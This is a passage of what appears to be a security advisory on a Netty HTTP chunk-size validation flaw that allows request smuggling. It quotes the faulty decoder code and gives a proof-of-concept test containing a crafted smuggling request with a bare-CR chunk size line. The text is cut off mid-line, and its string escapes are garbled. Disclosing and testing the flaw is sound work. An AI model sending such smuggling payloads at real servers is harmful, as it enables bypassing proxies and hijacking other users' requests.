### Summary
Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0rX`) is accepted instead of rejected, enabling HTTP request smuggling.
### Details
`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:
“`java
int extensionsStart = line.bytesBefore((byte) ‘;’);
if (extensionsStart == -1) {
return;
}
“`
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
`chunk-size = 1*HEXDIG`
### PoC
“`java
@Test
public void test() {
String requestStr = “POST / HTTP/1.1rn” +
“Host: localhostrn” +
“Transfer-Encoding: chunkedrnrn” +
“0rXrn” +
“rn” +
“GET /smuggled HTTP/1.1rn” +
“Host: localhostrn” +
“Content-Length: 0rn” +
“rn”;
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
